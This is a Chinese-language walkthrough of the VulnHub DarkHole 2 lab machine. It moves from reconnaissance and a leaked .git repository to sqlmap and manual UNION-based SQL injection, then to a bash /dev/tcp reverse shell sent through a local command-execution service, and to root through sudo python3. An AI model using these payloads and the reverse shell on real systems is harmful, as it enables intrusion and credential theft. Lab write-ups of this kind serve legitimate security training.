1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
得到三个文件,稍后需要打开的shi.ovf的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
虚拟机的基本设置:
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 探测IP
使用nmap扫描同一个段下存活的IP
nmap 192.168.11.0/24
发现153开启了80端口,通过访问确实是我们的靶机!
2.2 详细信息扫描
使用nmap对靶机开放的端口进行更详细的扫描:
nmap -A -T4 -p- 192.168.11.154
2.3 敏感目录
dirsearch -u 192.168.11.154 -e *
2.4 指纹收集
whatweb -v 192.168.11.154
3.渗透过程
3.1 访问敏感目录
扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在
3.2 git泄露
使用git-dumper分析git文件
没有的话安装一下:
3.2.1 pip安装git-dumper
我这里是使用pip3安装,因为之前安装过了,第一次安装可能要多等一会儿
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
3.2.2 使用git-dumper下载git文件夹内容到backup文件夹:
git-dumper http://192.168.11.154/.git/ backup
3.3.3 切换到backup文件夹,查看日志
git log
到这里呢就不得不说一下强大的git log命令了:
git log命令详解:https://blog.youkuaiyun.com/u012260238/article/details/81673853
在这里呢我们没有带任何参数,大概意思是:
不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明
如果记录过多,则按Page Up、Page Down、↓、↑来控制显示
按q退出历史记录列表
然后我们就可以看到有三次提交,还有提交的哈希值,作者,时间等等。
3.3.4 对比三次提交
使用diff对比一下:git diff可以获得当前工作目录和上次提交与本地索引的差距,也就是可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试嘛,我这里是试到第二个发现里面有东西:
这里好像是一组用户名和密码:
lush@admin.com
321
3.3 登录网页
登录页面在首页的右上方,输入我们刚得到的用户名和密码:
这样呢我们就登录成功了!!!
进图页面呢我们可以看到URL里面有个id=1,大胆猜测一下会不会存在注入:
当我们将id的值改为null的时候,发现页面的信息消失了,当然也不可能存在id为null的用户:
后面再加个单引号,发现报错了,到这里我们就可以确定了该页面存在sql注入:
3.4 注入
3.4.1 获取当前网站的cookie值:
不会?找不到?点我主页,置顶的帖子里面有我的联系方式,我手把手叫你。[怒]
3.4.2 利用cookie进行注入爆破当前数据库
sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k --current-db
这样呢我们就得到了一个数据库名。
3.4.3 获取数据库darkhole_2的表名
sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k -D darkhole_2 -T ssh -dump
得到两个表:
ssh
users
3.4.4 获取敏感信息
sqlmap -u http://192.168.11.154/dashboard.php?id=1 --cookie PHPSESSID=gjl8s8qe5g9qke0ondmvnumo9k -D darkhole_2 -T ssh -dump
3.5 手注
3.5.1 使用ORDER BY来确定回显注入位:
id=1' ORDER BY 1 -- -
id=1' ORDER BY 2 -- -
id=1' ORDER BY 3 -- -
id=1' ORDER BY 4 -- -
id=1' ORDER BY 5 -- -
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -
第7列报错,说明可能只有6位:
3.5.2 查看当前数据库:
?id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata – -
3.5.3 再查询数据库中的表:
id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema=‘darkhole_2’-- -
3.5.4 查询表中的列名:
id=NULL’ UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=‘ssh’-- -
3.5.5 查询用户名:
id=NULL’ UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -
3.6 SSH连接
账号密码已经得到,使用ssh登录:
用户名: jehad
密码:fool
3.7 提权
3.7.1 查看权限
sudo -l
3.7.2 查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
3.7.3 查看计划任务
cat /etc/crontab
发现有一个运行在9999端口上的计划任务:
查看具体内容:
可以看到这是允许远程命令执行。
3.7.4 查看passwd文件
cat /etc/passwd | grep “/bin/bash”
可以看到有好几个用户:
3.7.5 查看历史命令
cat .bash_history
3.7.6 查看服务详细
curl “http://127.0.0.1:9999/?cmd=id”
curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能,curl还支持HTTPS/FTP/FTPS/TELNET/LDAP等协议。
可以看到这个服务是losy用户的:
3.7.7 获取losy的权限
重新连接登陆 ssh,将本地端口 9999 端口与远程主机端口映射,访问本地端口转发到远程主机
3.7.8 反弹shell
这里简单说两句:
记得我们查看过9999端口运行的程序,当我们看到源代码的内容时,我们看到这允许远程命令执行。而且这个脚本属于用户losy,然后我们就可以使用 SSH 隧道连接端口 9999,然后,访问 127.0.0.1:9999 进行 RCE。大概原理就是这样。
具体操作:
- SSH隧道连接
- 构造连接kali的命令:
bash -c ‘bash -i >& /dev/tcp/192.168.11.128/9001 0>&1’
- 使用URL编码进行编码:
bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’
- kali开启监听
- 浏览器访问:
http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’
- 或者直接使用curl:
curl http://127.0.0.1:9999/?cmd=bash%20-c%20’bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.128%2F9001%200%3E%261’
成功拿到losy的权限:
查看losy的历史命令:
得到密码:gang
3.7.9 反弹shell失败的解决办法
其实可以直接在URL里通过修改cmd的参数值读取history文件:
http://127.0.0.1:9999/?cmd=cat%20~/.bash_history
3.7.10 登录losy用户
ssh losy@192.168.11.154
查看权限:
sudo -l
发现有root身份执行python3的权限,python提权还是比较简单的,这可能是作者见我们前面太辛苦,这里给我们一点福利吧!
开始提权:
写一个脚本,作用是打开一个shell,用户sudo执行,那么这个shell就具有root的权限:
import os;
os.setuid(0);
os.system("/bin/sh")
我比较懒,我就一句话搞定了:
sudo python3 -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’